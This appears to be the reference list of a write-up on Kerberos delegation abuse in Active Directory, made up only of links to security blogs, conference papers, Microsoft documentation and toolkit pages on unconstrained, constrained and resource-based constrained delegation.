<https://www.sstic.org/media/SSTIC2014/SSTIC-actes/secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_cont/SSTIC2014-Article-secrets\\_dauthentification\\_pisode\\_ii\\_\\_kerberos\\_contre-attaque-bordes\\_2.pdf> <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html> <https://adsecurity.org/?p=1667> <https://www.synetis.com/risques-associes-a-la-delegation-kerberos/> <https://blog.stealthbits.com/unconstrained-delegation-permissions/> <https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/> <https://docs.microsoft.com/fr-fr/dotnet/api/system.security.principal.wellknownsidtype?view=dotnet-plat-ext-3.1> <https://docs.microsoft.com/en-us/openspecs/windows\\_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a> <https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1> <https://beta.hackndo.com/unconstrained-delegation-attack/#rappels--unconstrained-delegation> <https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/> <https://chryzsh.github.io/relaying-delegation/> <https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/> <https://alsid.com/fr/node/143> <https://alsid.com/fr/node/144> <https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation> <https://stackoverflow.com/questions/57171940/accessing-parsing-msds-allowedtoactonbehalfofotheridentity-ad-property-in-c-sh> <https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>
